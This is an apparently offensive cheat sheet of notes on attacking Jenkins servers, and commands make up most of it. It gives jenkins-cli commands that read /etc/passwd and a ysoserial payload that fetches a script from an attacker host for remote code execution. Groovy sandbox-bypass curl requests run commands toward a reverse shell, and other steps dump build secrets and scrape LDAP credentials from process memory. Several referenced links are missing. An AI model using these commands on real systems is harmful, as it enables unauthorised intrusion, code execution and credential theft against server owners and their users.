
Notes about attacking Jenkins servers
Authenticated, can retrieve a complete file:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins -auth abc:abc connect-node "@/etc/passwd"
Unauthenticated or missing Global/Read permissions, can only read 3 lines: Read first line:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins who-am-i "@/etc/passwd"
Read second line:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins enable-job "@/etc/passwd"
Read third line:
java -jar jenkins-cli.jar -noCertificateCheck -s https://xxx.yyy/jenkins keep-build "@/etc/passwd"
How to bruteforce the credential encryption key.
Use ysoserial to generate a payload. Then RCE using this script:
java -jar ysoserial-master.jar CommonsCollections1 'wget myip:myport -O /tmp/a.sh' > payload.out
./jenkins_rce.py jenkins_ip jenkins_port payload.out
Details here.
If the Jenkins requests authentication but returns valid data using the following request, it is vulnerable:
curl -k -4 -s https://example.com/securityRealm/user/admin/search/index?q=a
Original RCE vulnerability here, full exploit here.
Alternative RCE with Overall/Read and Job/Configure permissions here.
Check if a Jenkins instance is vulnerable (needs Overall/Read permissions) with some Groovy:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){sleep(5000)}}'
Note: If you get a 403 error complaining about a missing crumb (which is a CSRF protection in Jenkins), you may be able to get the crumb value with a GET request to https://example.com/crumbIssuer/api/json. The crumb value shall then be added to the POST request in a Jenkins-Crumb Header.
Execute arbitraty bash commands:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){"wget xx.xx.xx.xx/bla.txt".execute()}}'
If you don't immediately get a reverse shell you can debug by throwing an exception:
curl -k -4 -X POST "https://example.com/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript/" -d "sandbox=True" -d 'value=class abcd{abcd(){def proc="id".execute();def os=new StringBuffer();proc.waitForProcessOutput(os, System.err);throw new Exception(os.toString())}}'
This one will only work is a user has the 'Jobs/Configure' rights in the security matrix so it's very specific.
Note that this is only exploitable if using a dedicated and out-of-date Update Center. Therefore most servers are not vulnerable.
Use this script to dump build console outputs and build environment variables to hopefully find cleartext secrets.
usage: jenkins_dump_builds.py [-h] [-u USER] [-p PASSWORD] [-o OUTPUT_DIR]
[-l] [-r] [-d] [-s] [-v]
url [url ...]
Dump all available info from Jenkins
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
-u USER, --user USER
-p PASSWORD, --password PASSWORD
-o OUTPUT_DIR, --output-dir OUTPUT_DIR
-l, --last Dump only the last build of each job
-r, --recover_from_failure
Recover from server failure, skip all existing
directories
-d, --downgrade_ssl Downgrade SSL to use RSA (for legacy)
-s, --no_use_session Don't reuse the HTTP session, but create a new one for
each request (for legacy)
-v, --verbose Debug mode
Use this python script or this powershell script.
These files are needed to decrypt Jenkins secrets:
Such secrets can usually be found in:
Here's a regexp to find them:
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
If Jenkins is configured to verify user credentials by relaying them to a LDAP (which is retarded, but a common vulnerability in companies) it's possible to recover these cleartext user credentials by dumping the Java process' memory. Assuming PID 7 for the Jenkins server the following loop will perform a memory dump of the stack every 30 seconds:
head -n 1 /proc/7/maps
a=<first hex number>
b=<second hex number>
while [ 1 ]; do dd if=/proc/7/mem bs=$(getconf PAGESIZE) iflag=skip_bytes,count_bytes skip=$((0x$a)) count=$((0x$b - 0x$a)) of=/tmp/tmp.bin; strings /tmp/tmp.bin | grep "uid=" && break; sleep 30; done
A small delay is important because the garbage collector will regularly free the credential structures.
Use this script to decrypt previsously dumped secrets.